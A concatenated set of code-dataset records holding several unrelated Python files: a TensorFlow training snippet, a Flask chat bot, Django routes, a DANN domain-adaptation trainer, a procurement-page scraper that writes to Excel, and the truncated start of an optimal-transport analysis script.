kernel_initializer=tf.keras.initializers.RandomNormal())\n])\n\nmodel.compile(optimizer='adam',\n loss='sparse_categorical_crossentropy', metrics=['accuracy'])\n\n######### Model build\n\n# model.summary()\n\n#### Training\n# model.fit(x_train, y_train, batch_size=256, epochs=10, validation_data=(x_test, y_test))\nmodel.fit(x_train, y_train, batch_size=256, epochs=10, validation_split=0.2)\n#### Training\n\nmodel.evaluate(x_test, y_test)\nmodel.evaluate((x_test-mean_train)/std_train, y_test)\n\n# test_prediction = model.predict(x_test)\n\n\n","sub_path":"02_TensorFlow/03_activation_function/c_input_preprocessing.py","file_name":"c_input_preprocessing.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"399789724","text":"from array import ArrayType, array\nimport numpy as np\nimport time\n\nfrom numpy.core.fromnumeric import size\nfrom Algorithms import QuickSort as quicky\n\ndef fgpot(Ar):\n g = 0\n steps = 0\n for a in range(len(Ar)):\n for b in range(a + 1, len(Ar)):\n for c in range(b + 1, len(Ar)):\n if g < (Ar[a]*Ar[b]*Ar[c]):\n g = (Ar[a]*Ar[b]*Ar[c])\n steps += 1\n return (steps, g)\n\narr = np.random.randint(1, 100, size=100)\n\nts = time.time()\nsteps, g = fgpot(arr)\nprint(g)\nprint(f\"N^3: {steps}\")\nte = time.time()\nprint(time.localtime(te-ts).tm_sec)\n\ndef quick_mul(A):\n q = quicky()\n arr_len = len(A)\n steps = q.sort(A, 0, arr_len - 1)\n print (A)\n prod = A[arr_len - 1] * A[arr_len - 2] * A[arr_len - 3]\n return (steps, prod)\n\n# Original\n# print(\"Sorted\")\n# print(arr)\n# print(\"\\n\")\n\n# Sorted\nts = time.time()\n(steps, prod) = quick_mul(arr)\nprint(prod)\nprint(f'Steps {steps}')\nte = time.time()\n# print(time.localtime(te-ts).tm_sec)","sub_path":"find_greatest_product_of_three.py","file_name":"find_greatest_product_of_three.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"630946627","text":"import random\nimport json\nimport requests\nimport re\nimport os\nimport datetime\nimport properties\nfrom flask import Flask, request, jsonify\n\napp = Flask(__name__)\n\nos.environ['TZ'] = 'US/Central'\n\nwith open('assets/insults.txt') as insult_file:\n insults = insult_file.readlines()\n\nwith open('assets/pdav.json') as pdav_file:\n pdav_json = json.load(pdav_file)\n\nwith open('assets/smrcina.json') as smrcina_file:\n smrcina_json = json.load(smrcina_file)\n\nwith open('assets/tableFlips.txt') as tableFlip_file:\n table_flips = tableFlip_file.readlines()\n\nwith open('assets/aotd.txt') as aotd_file:\n aotd_list = aotd_file.readlines()\n\nwith open ('assets/aotd.json') as aotd_json_file:\n aotd_json = json.load(aotd_json_file)\n\nwith open('assets/roommates.json') as roommates_file:\n roommates_json = json.load(roommates_file)\n\n@app.route('/pdav', methods=['POST'])\ndef pdav():\n markov_msg = markov_call()\n return jsonify({'response_type':'in_channel', 'text':\n markov_msg})\n\ndef markov_call():\n while len(markov_msg.split()) < 4:\n markov_msg = markov_create()\n return markov_msg\n\ndef markov_create():\n markov = ''\n markov_index = pdav_json['SOF'][random.randint(0, len(pdav_json['SOF'])-1)]\n while(markov_index != 'EOF'):\n markov += markov_index + ' '\n markov_index = pdav_json[markov_index][random.randint(0, len(pdav_json[markov_index])-1)]\n return markov\n\n@app.route('/tableflip', methods=['POST'])\ndef tableflip():\n return jsonify({'response_type':'in_channel',\n 'text':table_flips[random.randint(0, len(insults)-1)]})\n\n# @app.route('/app_auth', methods=['POST'])\n# def app_auth:\n\n\n@app.route('/aotd', methods=['POST'])\ndef aotd():\n output = todayAotd()\n return jsonify({'response_type':'in_channel', 'text':\n output, 'unfurl_media': 'false', 'unfurl_links': 'false'})\n\ndef todayAotd():\n aotd_album = ''\n aotd_artist = ''\n aotd_link = ''\n dt_now = datetime.datetime.now()\n today = dt_now.strftime(\"%m/%d/%Y\")\n if aotd_list[-1].split('---')[0] == today:\n aotd_artist = aotd_list[-1].split('---')[1]\n aotd_album = aotd_list[-1].split('---')[2]\n aotd_user = aotd_list[-1].split('---')[3]\n aotd_link = aotd_list[-1].split('---')[4]\n #outString = 'AOTD for ' + today + ' is: \\\"' + aotd_album.rstrip('\\n') + '\\\" by ' + aotd_artist + '\\nListen at: ' + aotd_link\n outString = 'AOTD for ' + today + ' is: <' + aotd_link + '|' + aotd_album + ' by ' + aotd_artist + '>, submitted by ' + aotd_user\n else:\n outString = 'There\\'s no AOTD for ' + today + '!'\n return outString\n\n\n\ndef defineuser(submitted_by):\n users_json = aotd_json['users']\n for x in range( 0, len(users_json)-1):\n if users_json[x]['id'] == submitted_by:\n user = users_json[x]['name']\n return user\n\n@app.route('/usert', methods=['POST'])\ndef usert():\n output = request.form['user_id']\n return jsonify({'response_type':'in_channel', 'text':\n output})\n\n\n@app.route('/aotdsubmit', methods=['POST'])\ndef aotdsubmit():\n parameters = re.split('///', request.form['text'])\n user = defineuser(request.form['user_id'])\n if len(parameters) < 3:\n output = 'syntax: artist /// album /// link'\n else:\n output = 'Submit by ' + user + ': ' + submitAotd(parameters, user)\n return jsonify({'response_type':'in_channel', 'text':\n output})\n\ndef submitAotd(parameters, user):\n insert_artist = parameters[0].strip()\n insert_album = parameters[1].strip()\n insert_link = parameters[2].strip()\n aotd_json[user].append({'artist': insert_artist, 'album': insert_album, 'link': insert_link})\n with open('assets/aotd.json', 'w') as aotd_file:\n json.dump(aotd_json, aotd_file)\n return 'okay'\n for i in range (0, len(aotd_list)-1):\n if aotd_list[i].split('---')[0] == today:\n aotd_artist = aotd_list[i].split('---')[1]\n aotd_album = aotd_list[i].split('---')[2]\n if aotd_artist == '' and aotd_album == '':\n outString = 'There\\'s no AOTD for ' + today + '!'\n outString = 'AOTD for ' + today + ' is: \\\"' + aotd_album.rstrip('\\n') + '\\\" by ' + aotd_artist\n return outString\n\ndef submitAotdHandler(parameters):\n validate = verifySubmitAotd(parameters)\n if validate == 'true':\n submitted_on = submitAotd(parameters)\n result = 'Submit complete for: ' + submitted_on\n else:\n result = 'Submit failed! Incorrect Syntax: make sure all values are enclosed with quotes.'\n return result\n\ndef verifySubmitAotd(parameters):\n if parameters[1].startswith('\"'):\n submit_validate = 'true'\n else:\n submit_validate = 'true'\n return submit_validate\n\ndef submitAotd(parameters):\n insert_artist = parameters[0].strip()\n insert_album = parameters[1].strip()\n insert_link = parameters[2].strip()\n last_date_string = aotd_list[-1].split('---')[0]\n last_date = datetime.datetime.strptime(last_date_string, \"%m/%d/%Y\")\n last_date += datetime.timedelta(days=1)\n with open('assets/aotd.txt', 'a') as aotd_file:\n aotd_file.write('\\n' + last_date.strftime(\"%m/%d/%Y\") + '---' + insert_artist + '---' + insert_album + '---' + insert_link)\n return last_date.strftime(\"%m/%d/%Y\")\n\n@app.route('/pdavgm', methods=['POST'])\ndef pdavgm():\n messageBody = request.json['text']\n responseBody = ''\n\n gmBotId = getID(request.json['group_id'])\n\n if messageBody.lower() == '/pdav':\n markov = markov_call()\n responseBody = 'pdav says: \\\"' + markov[:-1] + '\\\"'\n\n elif messageBody == '/insult':\n responseBody = insults[random.randint(0, len(insults)-1)].upper()\n\n elif messageBody == '/tableflip':\n responseBody = table_flips[random.randint(0, len(insults)-1)]\n\n elif messageBody == '/help':\n responseBody = 'Commands: \\'/insult\\', \\'/pdav\\', \\'/tableflip\\''\n\n url = 'https://api.groupme.com/v3/bots/post'\n data = {'bot_id': gmBotId, 'text': responseBody}\n headers = {'Content-Type': 'application/json'}\n r = requests.post(url, data=json.dumps(data), headers=headers)\n\n return json.dumps(r.json(), indent=4)\n\n@app.route('/roommates', methods=['POST'])\ndef roommates():\n if request.json['sender_id'] != '343028':\n sender = request.json['sender_id']\n roommateName = roommates_json['user_ids'][sender]\n roommateHandle = roommates_json['handles'][roommateName]\n roommateTask = roommates_json['schedule'][roommateName]\n text = request.json['text']\n gmBotId = getID(request.json['group_id'])\n \n\n if text == '/todo':\n responseBody = roommateHandle + ' ' + roommateTask['task'] + ' is ' + roommateTask['complete']\n\n url = 'https://api.groupme.com/v3/bots/post'\n data = {'bot_id': gmBotId, 'text': responseBody}\n headers = {'Content-Type': 'application/json'}\n r = requests.post(url, data=json.dumps(data), headers=headers)\n\n return json.dumps(r.json(), indent=4)\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"27893338","text":"from django.urls import path, re_path\nfrom . import views\n\nurlpatterns = [\n path('',views.post_list,name='post_list'),\n re_path(r'^post/(?P[\\d]+)/$',views.post_detail,name='post_detail'),\n re_path(r'^post/new/$',views.post_new,name='post_new'),\n re_path(r'^post/(?P[\\d]+)/edit/$',views.post_edit,name='post_edit'),\n path('post//remove',views.post_remove,name='post_remove'),\n path('drafts/',views.post_draft_list,name='post_draft_list'),\n path('post//publish/', views.post_publish, name='post_publish'),\n\n\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"141503891","text":"from flask import Flask, url_for, render_template, jsonify\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('tree.html')\n\n@app.route('/data')\ndef data():\n json = open('data/tree.json').read()\n return json\n\nif __name__ == '__main__':\n #Start Server\n app.debug = True\n app.run(host='0.0.0.0')\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"415976167","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.utils.data import Dataset, DataLoader, random_split\nfrom torch.autograd import Function\nimport imageio\nimport scipy.misc\nimport argparse\nimport glob\nimport os\nimport sys\nimport csv\nimport pandas as pd\nimport torchvision.models as models\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport random\n\nclass Source_Image(Dataset):\n def __init__(self, fileroot, image_root, label_csv, transform=None):\n \"\"\" Intialize the MNIST dataset \"\"\"\n self.images = None\n self.fileroot = fileroot\n self.image_root = image_root\n self.transform = transform\n self.label_csv = label_csv\n \n self.len = len(self.image_root) \n\n def __getitem__(self, index):\n \"\"\" Get a sample from the dataset \"\"\"\n image_fn = self.image_root[index]\n image_path = os.path.join(self.fileroot, image_fn)\n image = Image.open(image_path).convert('RGB')\n image = self.transform(image) \n\n class_label = int(self.label_csv[np.where(self.label_csv==image_fn)[0].item()][1])\n domain_label = 0\n return image, class_label, domain_label\n\n def __len__(self):\n \"\"\" Total number of samples in the dataset \"\"\"\n return self.len\n\nclass Target_Image(Dataset):\n def __init__(self, fileroot, image_root, label_csv, transform=None):\n \"\"\" Intialize the MNIST dataset \"\"\"\n self.images = None\n self.fileroot = fileroot\n self.image_root = image_root\n self.transform = transform\n self.label_csv = label_csv\n \n self.len = len(self.image_root) \n\n def __getitem__(self, index):\n \"\"\" Get a sample from the dataset \"\"\"\n image_fn = self.image_root[index]\n image_path = os.path.join(self.fileroot, image_fn)\n image = Image.open(image_path).convert('RGB')\n image = self.transform(image) \n\n class_label = int(self.label_csv[np.where(self.label_csv==image_fn)[0].item()][1])\n domain_label = 1\n return image, class_label, domain_label\n\n def __len__(self):\n \"\"\" Total number of samples in the dataset \"\"\"\n return self.len\n\nuse_cuda = torch.cuda.is_available()\ntorch.manual_seed(123)\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\nprint('Device used:', device)\n\nclass ReverseLayerF(Function):\n @staticmethod\n def forward(ctx, x, epsilon):\n ctx.epsilon = epsilon\n\n return x.view_as(x)\n\n @staticmethod\n def backward(ctx, grad_output):\n output = grad_output.neg() * ctx.epsilon\n\n return output, None\n\nclass DANN(nn.Module):\n\n def __init__(self):\n super(DANN, self).__init__()\n self.feature_extract = nn.Sequential()\n self.feature_extract.add_module('f_conv1', nn.Conv2d(3, 64, kernel_size=5))\n self.feature_extract.add_module('f_bn1', nn.BatchNorm2d(64))\n self.feature_extract.add_module('f_pool1', nn.MaxPool2d(2))\n self.feature_extract.add_module('f_relu1', nn.ReLU(True))\n self.feature_extract.add_module('f_conv2', nn.Conv2d(64, 50, kernel_size=5))\n self.feature_extract.add_module('f_bn2', nn.BatchNorm2d(50))\n self.feature_extract.add_module('f_drop1', nn.Dropout2d(0.5))\n self.feature_extract.add_module('f_pool2', nn.MaxPool2d(2))\n self.feature_extract.add_module('f_relu2', nn.ReLU(True))\n\n self.class_classifier = nn.Sequential()\n self.class_classifier.add_module('c_fc1', nn.Linear(50*4*4, 100))\n self.class_classifier.add_module('c_bn1', nn.BatchNorm1d(100))\n self.class_classifier.add_module('c_relu1', nn.ReLU(True))\n self.class_classifier.add_module('c_drop1', nn.Dropout(0.5))\n self.class_classifier.add_module('c_fc2', nn.Linear(100, 100))\n self.class_classifier.add_module('c_bn2', nn.BatchNorm1d(100))\n self.class_classifier.add_module('c_relu2', nn.ReLU(True))\n self.class_classifier.add_module('c_fc3', nn.Linear(100, 10))\n self.class_classifier.add_module('c_softmax', nn.LogSoftmax(dim=1))\n\n self.domain_classifier = nn.Sequential()\n self.domain_classifier.add_module('d_fc1', nn.Linear(50*4*4, 100))\n self.domain_classifier.add_module('d_bn1', nn.BatchNorm1d(100))\n self.domain_classifier.add_module('d_relu1', nn.ReLU(True))\n self.domain_classifier.add_module('d_fc2', nn.Linear(100, 2))\n self.domain_classifier.add_module('d_softmax', nn.LogSoftmax(dim=1))\n\n def forward(self, input_data, epsilon):\n input_data = input_data.expand(input_data.data.shape[0], 3, 28, 28)\n feature_extract = self.feature_extract(input_data)\n feature_extract = feature_extract.view(-1, 50*4*4)\n reverse_feature_extract = ReverseLayerF.apply(feature_extract, epsilon)#gradient update dir change\n class_output = self.class_classifier(feature_extract)\n domain_output = self.domain_classifier(reverse_feature_extract)#gradient ascent for domain classification\n\n return class_output, domain_output\n\ndef main():\n source_type = 'svhn'\n target_type = 'usps'\n if source_type == 'usps':\n source_root = 'hw3-ben980828/hw3_data/digits/usps/train/'\n source_label_path = 'hw3-ben980828/hw3_data/digits/usps/train.csv'\n elif source_type == 'mnistm':\n source_root = 'hw3-ben980828/hw3_data/digits/mnistm/train/'\n source_label_path = 'hw3-ben980828/hw3_data/digits/mnistm/train.csv'\n elif source_type == 'svhn':\n source_root = 'hw3-ben980828/hw3_data/digits/svhn/train/'\n source_label_path = 'hw3-ben980828/hw3_data/digits/svhn/train.csv'\n\n source_list = os.listdir(source_root)\n\n source_label_file = pd.read_csv(source_label_path, sep=',',header=None)\n source_label_matrix = source_label_file.to_numpy()\n \n if target_type == 'usps':\n target_root = 'hw3-ben980828/hw3_data/digits/usps/train/'\n target_label_path = 'hw3-ben980828/hw3_data/digits/usps/train.csv'\n elif target_type == 'mnistm':\n target_root = 'hw3-ben980828/hw3_data/digits/mnistm/train/'\n target_label_path = 'hw3-ben980828/hw3_data/digits/mnistm/train.csv'\n elif target_type == 'svhn':\n target_root = 'hw3-ben980828/hw3_data/digits/svhn/train/'\n target_label_path = 'hw3-ben980828/hw3_data/digits/svhn/train.csv'\n\n target_list = os.listdir(target_root)\n\n target_label_file = pd.read_csv(target_label_path, sep=',',header=None)\n target_label_matrix = target_label_file.to_numpy()\n \n if source_type == 'usps':\n source_transform = transforms.Compose([\n transforms.Resize((28, 28)),\n transforms.ToTensor(),\n transforms.Normalize([0.1307,], [0.3081,])\n ])\n else:\n source_transform = transforms.Compose([\n transforms.Resize((28, 28)),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n ])\n\n if target_type == 'usps':\n target_transform = transforms.Compose([\n transforms.Resize((28, 28)),\n transforms.ToTensor(),\n transforms.Normalize([0.1307,], [0.3081,])\n ])\n else:\n target_transform = transforms.Compose([\n transforms.Resize((28, 28)),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n ])\n\n source_set = Source_Image(fileroot=source_root, \n image_root=source_list,\n label_csv=source_label_matrix, \n transform=source_transform\n )\n\n target_set = Target_Image(fileroot=target_root, \n image_root=target_list, \n label_csv=target_label_matrix, \n transform=target_transform\n )\n\n target_set_size = int(len(target_set) * 0.8)\n valid_set_size = len(target_set) - target_set_size\n _, valid_split = random_split(dataset= target_set, lengths=[target_set_size, valid_set_size])\n\n source_loader = DataLoader(source_set, batch_size=128, shuffle=True, num_workers=1)\n valid_loader = DataLoader(valid_split, batch_size=700, shuffle=False, num_workers=1)\n\n\n dann = DANN()\n dann = dann.cuda()\n\n print(dann)\n\n\n lr = 1e-4\n loss_class = nn.NLLLoss()\n loss_domain = nn.NLLLoss()\n optimizer = optim.Adam(dann.parameters(), lr=lr, betas=(0.5, 0.999))\n\n epoch = 50\n iteration = 0\n max_acc = 0.\n class_loss_list = []\n domain_loss_list = []\n iter_list = []\n # training\n for ep in range(1, epoch+1):\n dann.train()\n print('Current training epoch : ', ep)\n\n for i, (data, class_label, domain_label) in enumerate(source_loader):\n p = float(i + ep * len(source_loader)) / epoch / len(source_loader)\n eps = 2. / (1. + np.exp(-10 * p)) - 1\n dann.zero_grad()\n data, class_label, domain_label = data.cuda(), class_label.cuda(), domain_label.cuda()\n class_output, domain_output = dann(data, eps)\n class_loss = loss_class(class_output, class_label)\n domain_loss = loss_domain(domain_output, domain_label)\n total_loss = class_loss + domain_loss\n\n total_loss.backward()\n optimizer.step()\n \n iteration += 1\n if iteration%50 == 0:\n iter_list.append(iteration)\n class_loss_list.append(class_loss.item())\n domain_loss_list.append(domain_loss.item())\n sys.stdout.write('\\r epoch: %d, [iter: %d / all %d], class_loss: %f, domain_loss: %f' \\\n % (ep, i + 1, len(source_loader), class_loss.data.cpu().numpy(),\n domain_loss.data.cpu().numpy()))\n sys.stdout.flush()\n\n dann.eval()\n correct = 0\n acc = 0\n with torch.no_grad(): \n for i, (data, class_label, domain_label) in enumerate(valid_loader):\n p = float(i + ep * len(valid_loader)) / epoch / len(valid_loader)\n eps = 2. / (1. + np.exp(-10 * p)) - 1\n data, class_label, domain_label = data.cuda(), class_label.cuda(), domain_label.cuda()\n class_output, _ = dann(data, eps)\n pred = class_output.max(1, keepdim=True)[1] \n correct += pred.eq(class_label.view_as(pred)).sum().item()\n acc = 100. * correct / len(valid_loader.dataset)\n print('\\nValidation Set : Acc = {}\\n'.format(acc))\n \n if acc > max_acc:\n print('Performance improved : ({:.3f} --> {:.3f}). Save model ==> '.format(max_acc, acc))\n max_acc = acc\n torch.save(dann.state_dict(), 'dann_sr_{}_tr_{}_ep{}_acc{}.pth'.format(source_type, target_type, ep, acc))\n\n\n #lr_decay.step(mean_loss)\n\n\n\n fig, (ax1, ax2) = plt.subplots(1, 2)\n\n ax1.plot(iter_list, class_loss_list)\n ax1.set_title('Classification Loss')\n ax1.set(xlabel=\"iteration\", ylabel=\"Loss Value\")\n\n\n ax2.plot(iter_list, domain_loss_list)\n ax2.set_title('Domain Loss')\n ax2.set(xlabel=\"iteration\", ylabel=\"Loss Value\")\n\n plt.savefig('Loss_Curve_DANN_Source.png')\n\nif __name__ == '__main__':\n main()\n","sub_path":"dann_train_sr.py","file_name":"dann_train_sr.py","file_ext":"py","file_size_in_byte":11270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"317354335","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0014_auto_20160307_2323'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='blogad',\n name='ad_linkurl',\n field=models.URLField(default=b'/', verbose_name=b'\\xe5\\xb9\\xbf\\xe5\\x91\\x8a\\xe9\\x93\\xbe\\xe6\\x8e\\xa5\\xe5\\x9c\\xb0\\xe5\\x9d\\x80'),\n ),\n migrations.AlterField(\n model_name='blogad',\n name='ad_imageurl',\n field=models.ImageField(upload_to=b'blog/ad/%Y/%m', verbose_name=b'\\xe5\\x9b\\xbe\\xe7\\x89\\x87670*280'),\n ),\n ]\n","sub_path":"blog/migrations/0015_auto_20160310_1413.py","file_name":"0015_auto_20160310_1413.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"610036894","text":"# reads scrapped docs. Finds necessary elements. Speeds up the process\r\nfrom os import listdir\r\nimport datetime\r\nfrom openpyxl.styles import Alignment\r\nfrom bs4 import BeautifulSoup\r\nimport logging\r\nfrom openpyxl import load_workbook\r\nimport os\r\nimport re\r\n\r\n\r\npath_to_exe = 'C:/Users/User/Desktop/navalny/v0.1(1)/'\r\nlogging.basicConfig(filename=(path_to_exe + '/log_readingdocs.log'), level=logging.DEBUG,\r\n format='%(levelname)s %(asctime)s '\r\n '%(lineno)d %(funcName)s '\r\n '%(message)s %(exc_info)s'\r\n ' %(pathname)s',\r\n datefmt='%m/%d/%Y %I:%M:%S')\r\n\r\n\r\n# сгенерировать список участников закупки\r\ndef generate_list_of_participants(soup):\r\n participants = []\r\n found = soup.select('body > div > div > div > div:nth-of-type(5) > div > div > div > table')\r\n for element in found:\r\n\r\n element = element.text\r\n\r\n element = element.replace('Общество с ограниченной ответственностью', 'ООО') \\\r\n .replace('Индивидуальный предприниматель', 'ИП')\r\n element = element.replace('(2)', '')\r\n\r\n element = element.split('\\n')\r\n\r\n position = 0\r\n for word in element:\r\n word_no_spaces = re.sub(' +', ' ', word)\r\n element[position] = word_no_spaces.lstrip().rstrip()\r\n position += 1\r\n\r\n element = [value for value in element if value != '']\r\n element = [value for value in element if value != ' ']\r\n\r\n for word in element:\r\n if 'ООО' in word or 'ИП' in word:\r\n participants.append(word)\r\n\r\n return participants\r\n\r\n\r\n# определить цену победителя (чейчас - миниммальную цену)\r\ndef determine_winner_price(prices_list, number):\r\n try:\r\n minimal_price = min(prices_list)\r\n except Exception as e:\r\n minimal_price = 'предложения участников не доступны'\r\n logging.warning(str(number) + ' ' + minimal_price)\r\n return minimal_price\r\n\r\n\r\n# список цен, предложенных участниками\r\ndef generate_list_of_offered_prices(soup, number):\r\n prices_list = []\r\n prices_soup = soup.select('body > div > div > div > div:nth-of-type(5) > div > div > div > table')\r\n\r\n\r\n for element in prices_soup:\r\n element = element.text\r\n element = element.split('\\n')\r\n\r\n i =0\r\n for word in element:\r\n word = word.replace(',', '.').replace(' ', '')\r\n element[i] = word\r\n i += 1\r\n\r\n element = [value for value in element if value != '']\r\n element = [value for value in element if value != ' ']\r\n\r\n for word in element:\r\n\r\n x = ''\r\n for char in word:\r\n if char != ' ':\r\n x = x + char\r\n try:\r\n prices_list.append(float(x))\r\n except Exception as e:\r\n pass\r\n\r\n return prices_list\r\n\r\n\r\n# определить дату публикации\r\ndef determine_date_of_publication(soup):\r\n date_selector = 'body > div > div > div > div.cardHeader > div'\r\n date_of_publication = (soup.select(date_selector))[0].text[29:39]\r\n try:\r\n date_of_publication = datetime.datetime.strptime(date_of_publication, '%d.%m.%Y')\r\n except ValueError:\r\n logging.warning(\"Incorrect data format, should be YYYY-MM-DD\")\r\n return date_of_publication\r\n\r\n# определить имя закупки\r\n# нету лога\r\ndef determine_what_is_requested(soup):\r\n total_name = soup.select('body > div > div > div > div.contentTabBoxBlock > div > div:nth-of-type(1) '\r\n '> table > tbody > tr:nth-of-type(5) > td:nth-of-type(2)')\r\n what_is_requested = total_name[0].text[24:]\r\n print(what_is_requested)\r\n # логгирование здесь\r\n return what_is_requested\r\n\r\n# определить начальную максимальную цену\r\ndef max_price_allowed(soup):\r\n max_price = soup.find_all('div', {'class': 'noticeTabBoxWrapper'})\r\n has_max_price = ''\r\n\r\n for element in max_price:\r\n if 'Начальная (максимальная) цена контракта' in element.text:\r\n has_max_price = element.text\r\n else:\r\n pass\r\n\r\n if has_max_price == '':\r\n logging.warning('has max-price have not changed')\r\n max_price_allowed_float = ''\r\n else:\r\n position = has_max_price.find('контракта') + len('контракта')\r\n position2 = has_max_price.find('Валюта')\r\n max_price_allowed_str = has_max_price[position:position2 - 3]\r\n max_price_allowed_str = ''.join(i for i in max_price_allowed_str if (i.isdigit() or i == ',')).replace(',', '.')\r\n max_price_allowed_float = float(max_price_allowed_str)\r\n\r\n return max_price_allowed_float\r\n\r\n\r\n# who won it\r\ndef who_won(participants, number):\r\n winner = ''\r\n for participant in participants:\r\n if '-Победитель)' in participant:\r\n winner = participant.replace('(1-Победитель)','')\r\n return winner\r\n\r\n\r\n# выгрузить инфу из страницы\r\ndef get_info(path, name, i):\r\n logging.info(name)\r\n path_ready = path + name\r\n number = name[1:-4]\r\n with open(path_ready, encoding='utf-8') as f:\r\n text = f.read()\r\n soup = BeautifulSoup(text, 'lxml')\r\n\r\n if 's' == str(path_ready)[-24:-23]:\r\n # объявление переменных\r\n prices_list = generate_list_of_offered_prices(soup, number)\r\n\r\n date_of_publication = determine_date_of_publication(soup)\r\n winner_price = determine_winner_price(prices_list, number)\r\n\r\n list_of_participants = generate_list_of_participants(soup)\r\n winner = who_won(list_of_participants, number)\r\n\r\n\r\n if len(list_of_participants) == 1:\r\n list_of_participants = ''\r\n else:\r\n try:\r\n list_of_participants.remove(winner+'(1-Победитель)')\r\n except Exception as e:\r\n logging.warning(e)\r\n\r\n ws['A{}'.format(i)] = name[1:-4]\r\n ws['C{}'.format(i)] = date_of_publication\r\n\r\n ws['E{}'.format(i)] = winner\r\n ws['F{}'.format(i)] = winner_price\r\n\r\n if winner_price in prices_list:\r\n prices_list.remove(winner_price)\r\n to_add = (str(prices_list)[1:-1])\r\n ws['G{}'.format(i)] = to_add\r\n print(to_add)\r\n else:\r\n pass\r\n\r\n ws['H{}'.format(i)] = str(list_of_participants)[1:-1]\r\n\r\n current_cell = ws['H{}'.format(i)]\r\n current_cell.alignment = Alignment(horizontal='center')\r\n else:\r\n # объявление переменных\r\n name_of_request = determine_what_is_requested(soup)\r\n starting_price = max_price_allowed(soup)\r\n\r\n ws['B{}'.format(i)] = name_of_request\r\n ws['D{}'.format(i)] = starting_price\r\n return name[1:-4]\r\n\r\n # объявление переменных\r\n return name[1:-4]\r\n\r\n\r\n\r\n# сюда мы будем записывать\r\nwb = load_workbook(path_to_exe + '/test_result.xlsx')\r\nws = wb['result']\r\n\r\npath_for_suppliers = path_to_exe + '/supplier/'\r\n# здесь делается запись, создается словарь для дозаписи инфы по common\r\nfiles = listdir(path_for_suppliers)\r\ni = 2\r\ntotal_list = {}\r\nfor name in files:\r\n dict_el = get_info(path_for_suppliers, name, i)\r\n total_list[int(dict_el)] = i\r\n i += 1\r\n\r\n\r\npath_for_common = path_to_exe + '/common/'\r\nfiles = listdir(path_for_common)\r\nfor name in files:\r\n i = total_list[int(name[1:-4])]\r\n get_info(path_for_common, name, i)\r\n\r\n\r\n# теперь надо сохранить инфу\r\ntry:\r\n wb.save(path_to_exe + '/test_result.xlsx')\r\nexcept PermissionError:\r\n logging.error('Permission error')\r\n\r\n\r\n\r\nos.startfile(path_to_exe + '/test_result.xlsx')\r\nwith open(path_to_exe + '/track_execution.txt', 'w') as f:\r\n f.write('')\r\nprint('done')","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":8241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"369741366","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 30 17:43:54 2020\n\n@author: konrad\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport ot\nimport time\nfrom scipy.interpolate import griddata\nfrom skimage.measure import block_reduce\nfrom scipy.spatial.distance import cdist\n\nimport VortexLine as VL\nimport PhysicalCalculations as PC\n\n# %% Exvelo base\ndef exvelo_base(xt, yt, ut, vt):\n u_out = griddata(np.vstack((x.flatten(), y.flatten())).transpose(),\n ut.flatten(), np.vstack((xt, yt)).transpose())\n v_out = griddata(np.vstack((x.flatten(), y.flatten())).transpose(),\n vt.flatten(), np.vstack((xt, yt)).transpose())\n return u_out, v_out\n\n\n# %%Setup \nAoA = (0, 10, 20)\nn_weights = 31\n\ntemp = np.linspace(0., 1, n_weights)\nweights = np.vstack((temp, 1-temp)).transpose()\n\nstep = 1\norder = 2\nvort_thr = .3\n\n# %% Read Simulation Data\nx_full, y_full, u_full, v_full,\\\n vort_full, u_std, v_std, Cont, Mom = PC.Read_Data(AoA, step=step)\n\nx, y, u, v, vort = PC.make_square(x_full, y_full, u_full, v_full, vort_full,\n 1000, step=step)\n\nMom_OT = np.zeros((n_weights, ))\nMom_lin = np.zeros_like(Mom_OT)\nvort_OT_norm = np.zeros_like(Mom_OT)\nvort_lin_norm = np.zeros_like(Mom_OT)\n\ndx = np.gradient(x[0, :])\ndy = np.gradient(y[:, 0])\nMom_sq = PC.Momentum(vort[1], u[1], v[1], dx, dy)\n\n# %% Read OT Results\nfor i, w in enumerate(weights):\n x_OT = np.genfromtxt(\"../Data/OT_Results/{:.0f}_{:.0f}_{:.0f}_{:.2f}_{:.2f}_x.csv\"\n .format(AoA[0], AoA[1], AoA[2], w[0], w[1]), delimiter=\",\")\n \n y_OT = np.genfromtxt(\"../Data/OT_Results/{:.0f}_{:.0f}_{:.0f}_{:.2f}_{:.2f}_y.csv\"\n .format(AoA[0], AoA[1], AoA[2], w[0], w[1]), 